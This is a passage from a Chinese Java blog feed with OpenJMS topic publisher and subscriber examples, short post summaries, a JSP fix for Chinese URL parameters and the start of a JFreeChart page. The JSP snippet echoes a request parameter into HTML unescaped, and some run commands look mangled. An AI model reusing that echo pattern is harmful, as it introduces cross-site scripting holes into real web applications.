&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  try {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  //取得JNDI上下文和连接<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  Hashtable properties = new Hashtable();<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  properties.put(<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  Context.INITIAL_CONTEXT_FACTORY,<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  "org.exolab.jms.jndi.InitialContextFactory");<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  //openJms默认的端口是1099<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  properties.put(Context.PROVIDER_URL, "rmi://localhost:1099/");<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  Context context = new InitialContext(properties);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  //获得JMS Topic连接队列工厂<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  TopicConnectionFactory factory =<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  (TopicConnectionFactory) context.lookup(<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  "JmsTopicConnectionFactory");<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  //创建一个Topic连接，并启动<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  TopicConnection topicConnection = factory.createTopicConnection();<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  topicConnection.start();<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  //创建一个Topic会话，并设置自动应答<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  TopicSession topicSession =<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  topicConnection.createTopicSession(false,<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  Session.AUTO_ACKNOWLEDGE);<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  //lookup 得到 topic1<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  Topic topic = (Topic) context.lookup("topic1");<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  //用Topic会话生成Topic发布器<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  TopicPublisher topicPublisher = topicSession.createPublisher(topic);<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  //发布消息到Topic<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  System.out.println("消息发布到Topic");<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  TextMessage message = topicSession.createTextMessage<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  ("你好，欢迎定购Topic类消息");<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  topicPublisher.publish(message);<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  //资源清除，代码略  ... ...&nbsp;&nbsp;&nbsp;  <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  } catch (NamingException e) {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  e.printStackTrace();<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  } catch (JMSException e) {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  e.printStackTrace();<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  }<br />
&nbsp;&nbsp;&nbsp;  }<br />
}<br />
<br />
而订阅消息的接收有同步的和异步2种，他们分别使用receive()和onMessage(Message message)方法来接收消息，具体代码：<br />
<br />
同步接收：<br />
<br />
package javayou.demo.openjms;<br />
import java.util.*;<br />
import javax.jms.*;<br />
import javax.naming.*;<br />
public class TopicSubscribeSynchronous {<br />
<br />
&nbsp;&nbsp;&nbsp;  public static void main(String[] args) {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  try {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  System.out.println("定购消息接收启动：");<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  //取得JNDI上下文和连接<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  Hashtable properties = new Hashtable();<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  properties.put(Context.INITIAL_CONTEXT_FACTORY,<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  "org.exolab.jms.jndi.InitialContextFactory");<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  properties.put(Context.PROVIDER_URL, "rmi://localhost:1099/");<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  Context context = new InitialContext(properties);<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  //获得Topic工厂和Connection<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  TopicConnectionFactory factory =<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  (TopicConnectionFactory) context.lookup(<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  "JmsTopicConnectionFactory");<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  TopicConnection topicConnection = factory.createTopicConnection();<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  topicConnection.start();<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  //创建Topic的会话，用于接收信息<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  TopicSession topicSession =<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  topicConnection.createTopicSession(<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  false,<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  Session.AUTO_ACKNOWLEDGE);<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  //lookup topic1<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  Topic topic = (Topic) context.lookup("topic1");<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  //创建Topic subscriber<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  TopicSubscriber topicSubscriber =<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  topicSession.createSubscriber(topic);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  //收满10条订阅消息则退出<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  for (int i=0; i&lt;10; i++) {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  //同步消息接收，使用receive方法，堵塞等待，直到接收消息<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  TextMessage message = (TextMessage) topicSubscriber.receive();<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  System.out.println("接收订阅消息["+i+"]: " + message.getText());<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  }<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  //资源清除，代码略  ... ...<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  System.out.println("订阅接收结束.");<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  } catch (NamingException e) {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  e.printStackTrace();<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  } catch (JMSException e) {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  e.printStackTrace();<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  }<br />
&nbsp;&nbsp;&nbsp;  }<br />
}<br />
<br />
非同步接收：<br />
<br />
package javayou.demo.openjms;<br />
import java.util.*;<br />
import javax.jms.*;<br />
import javax.naming.*;<br />
public class TopicSubscribeAsynchronous implements MessageListener {<br />
&nbsp;&nbsp;&nbsp;  private TopicConnection topicConnection;<br />
&nbsp;&nbsp;&nbsp;  private TopicSession topicSession;<br />
&nbsp;&nbsp;&nbsp;  private Topic topic;<br />
&nbsp;&nbsp;&nbsp;  private TopicSubscriber topicSubscriber;<br />
<br />
&nbsp;&nbsp;&nbsp;  TopicSubscribeAsynchronous() {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  try {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  //取得JNDI上下文和连接<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  Hashtable properties = new Hashtable();<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  properties.put(<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  Context.INITIAL_CONTEXT_FACTORY,<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  "org.exolab.jms.jndi.InitialContextFactory");<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  properties.put(Context.PROVIDER_URL, "rmi://localhost:1099/");<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  Context context = new InitialContext(properties);<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  //取得Topic的连接工厂和连接<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  TopicConnectionFactory topicConnectionFactory =<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  (TopicConnectionFactory) context.lookup(<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  "JmsTopicConnectionFactory");<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  topicConnection = topicConnectionFactory.createTopicConnection();<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  //创建Topic的会话，用于接收信息<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  topicSession =<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  topicConnection.createTopicSession(false,<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  Session.AUTO_ACKNOWLEDGE);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  topic = (Topic) context.lookup("topic1");<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  //创建Topic subscriber<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  topicSubscriber = topicSession.createSubscriber(topic);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  //设置订阅监听<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  topicSubscriber.setMessageListener(this);<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  //启动信息接收<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  topicConnection.start();<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  } catch (NamingException e) {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  e.printStackTrace();<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  } catch (JMSException e) {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  e.printStackTrace();<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  }<br />
&nbsp;&nbsp;&nbsp;  }<br />
<br />
&nbsp;&nbsp;&nbsp;  public static void main(String[] args) {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  System.out.println("非同步定购消息的接收：");<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  try {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  TopicSubscribeAsynchronous listener =<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  new TopicSubscribeAsynchronous();<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  Thread.sleep(1000);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  } catch (InterruptedException e) {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  e.printStackTrace();<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  }<br />
&nbsp;&nbsp;&nbsp;  }<br />
<br />
&nbsp;&nbsp;&nbsp;  //收到订阅信息后自动调用此方法<br />
&nbsp;&nbsp;&nbsp;  public void onMessage(Message message) {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  try {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  String messageText = null;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  if (message instanceof TextMessage)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  messageText = ((TextMessage) message).getText();<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  System.out.println(messageText);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  } catch (JMSException e) {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  e.printStackTrace();<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  }<br />
&nbsp;&nbsp;&nbsp;  }<br />
}<br />
<br />
编译好后，启动openJms服务，打开admin管理台，为了运行方便，这里先列出三个类的运行命令：<br />
java -cp ."; -Djava.ext.dirs=."lib; javayou.demo.openjms.TopicPublish<br />
java -cp ."; -Djava.ext.dirs=."lib; javayou.demo.openjms.TopicSubscribeSynchronous<br />
java -cp ."; -Djava.ext.dirs=."lib; javayou.demo.openjms.TopicSubscribeAsynchronous<br />
<br />
先运行2个接收命令，再运行发布命令，可以看到控制台的Topic有消息接收，并且接收1和2都有消息接收的提示，到此完成演示，由于是非持久订阅，所以可以看到控制台上的Topic消息条数不会减少。
<img src ="http://www.blogjava.net/zhanglijun33/aggbug/294271.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/zhanglijun33/" target="_blank">智者无疆</a> 2009-09-08 11:25 <a href="http://www.blogjava.net/zhanglijun33/archive/2009/09/08/JMS.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>OSCache的实际使用</title><link>http://www.blogjava.net/zhanglijun33/archive/2008/11/27/oscache.html</link><dc:creator>智者无疆</dc:creator><author>智者无疆</author><pubDate>Thu, 27 Nov 2008 06:48:00 GMT</pubDate><guid>http://www.blogjava.net/zhanglijun33/archive/2008/11/27/oscache.html</guid><wfw:comment>http://www.blogjava.net/zhanglijun33/comments/243000.html</wfw:comment><comments>http://www.blogjava.net/zhanglijun33/archive/2008/11/27/oscache.html#Feedback</comments><slash:comments>4</slash:comments><wfw:commentRss>http://www.blogjava.net/zhanglijun33/comments/commentRss/243000.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/zhanglijun33/services/trackbacks/243000.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: 项目性能优化相关：oscache实际应用,Cookie的混乱及解决&nbsp;&nbsp;<a href='http://www.blogjava.net/zhanglijun33/archive/2008/11/27/oscache.html'>阅读全文</a><img src ="http://www.blogjava.net/zhanglijun33/aggbug/243000.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/zhanglijun33/" target="_blank">智者无疆</a> 2008-11-27 14:48 <a href="http://www.blogjava.net/zhanglijun33/archive/2008/11/27/oscache.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>hql editor 的使用</title><link>http://www.blogjava.net/zhanglijun33/archive/2008/11/17/hqlEdit.html</link><dc:creator>智者无疆</dc:creator><author>智者无疆</author><pubDate>Mon, 17 Nov 2008 06:19:00 GMT</pubDate><guid>http://www.blogjava.net/zhanglijun33/archive/2008/11/17/hqlEdit.html</guid><wfw:comment>http://www.blogjava.net/zhanglijun33/comments/240955.html</wfw:comment><comments>http://www.blogjava.net/zhanglijun33/archive/2008/11/17/hqlEdit.html#Feedback</comments><slash:comments>3</slash:comments><wfw:commentRss>http://www.blogjava.net/zhanglijun33/comments/commentRss/240955.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/zhanglijun33/services/trackbacks/240955.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: hqlEdit的使用 spring service层的测试&nbsp;&nbsp;<a href='http://www.blogjava.net/zhanglijun33/archive/2008/11/17/hqlEdit.html'>阅读全文</a><img src ="http://www.blogjava.net/zhanglijun33/aggbug/240955.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/zhanglijun33/" target="_blank">智者无疆</a> 2008-11-17 14:19 <a href="http://www.blogjava.net/zhanglijun33/archive/2008/11/17/hqlEdit.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>url 传中文乱码 的解决</title><link>http://www.blogjava.net/zhanglijun33/archive/2008/11/10/url_chinese.html</link><dc:creator>智者无疆</dc:creator><author>智者无疆</author><pubDate>Mon, 10 Nov 2008 03:51:00 GMT</pubDate><guid>http://www.blogjava.net/zhanglijun33/archive/2008/11/10/url_chinese.html</guid><wfw:comment>http://www.blogjava.net/zhanglijun33/comments/239631.html</wfw:comment><comments>http://www.blogjava.net/zhanglijun33/archive/2008/11/10/url_chinese.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://www.blogjava.net/zhanglijun33/comments/commentRss/239631.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/zhanglijun33/services/trackbacks/239631.html</trackback:ping><description><![CDATA[1传中文之前的准备<br />
<font style="background-color: #9deec1">&nbsp;&lt;%<br />
&nbsp; String a = "我是立军";<br />
&nbsp; a = URLEncoder.encode(a,"gbk");<br />
&nbsp; %&gt;<br />
&nbsp; &lt;body&gt;<br />
&nbsp;&nbsp; &lt;a href="hello.jsp?actionName=&lt;%=a%&gt;" &gt; 试验&lt;/a&gt;<br />
<br />
2.接收 <font style="background-color: #9deec1">&lt;%<br />
&nbsp; String actionName=new String(request.getParameter("actionName").getBytes("iso8859_1"));<br />
&nbsp; %&gt; </font><br />
<font style="background-color: #9deec1">actionName:&lt;%=actionName %&gt;</font></font>
<img src ="http://www.blogjava.net/zhanglijun33/aggbug/239631.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/zhanglijun33/" target="_blank">智者无疆</a> 2008-11-10 11:51 <a href="http://www.blogjava.net/zhanglijun33/archive/2008/11/10/url_chinese.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>几种报表图的画法</title><link>http://www.blogjava.net/zhanglijun33/archive/2008/10/21/freechar.html</link><dc:creator>智者无疆</dc:creator><author>智者无疆</author><pubDate>Tue, 21 Oct 2008 04:00:00 GMT</pubDate><guid>http://www.blogjava.net/zhanglijun33/archive/2008/10/21/freechar.html</guid><wfw:comment>http://www.blogjava.net/zhanglijun33/comments/235629.html</wfw:comment><comments>http://www.blogjava.net/zhanglijun33/archive/2008/10/21/freechar.html#Feedback</comments><slash:comments>3</slash:comments><wfw:commentRss>http://www.blogjava.net/zhanglijun33/comments/commentRss/235629.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/zhanglijun33/services/trackbacks/235629.html</trackback:ping><description><![CDATA[1.折线图<br />
<p><font style="background-color: #9deec1">&lt;%@ page contentType="text/html;charset=GBK"%&gt;<br />
&lt;%@ page import="java.awt.Color"%&gt;<br />
&lt;%@ page import = "org.jfree.chart.ChartFactory, <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; org.jfree.chart.ChartPanel, <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; org.jfree.chart.JFreeChart, <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; org.jfree.chart.DefaultOldLegend, <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; org.jfree.chart.axis.NumberAxis, <br />
&nbsp; org.jfree.chart.plot.CategoryPlot, <br />
&nbsp; org.jfree.chart.plot.PlotOrientation, <br />
&nbsp; org.jfree.chart.renderer.category.LineAndShapeRenderer, <br />
&nbsp; org.jfree.data.category.CategoryDataset, <br />
&nbsp; org.jfree.data.category.DefaultCategoryDataset, <br />
&nbsp; org.jfree.chart.servlet.ServletUtilities <br />
"%&gt;<br />
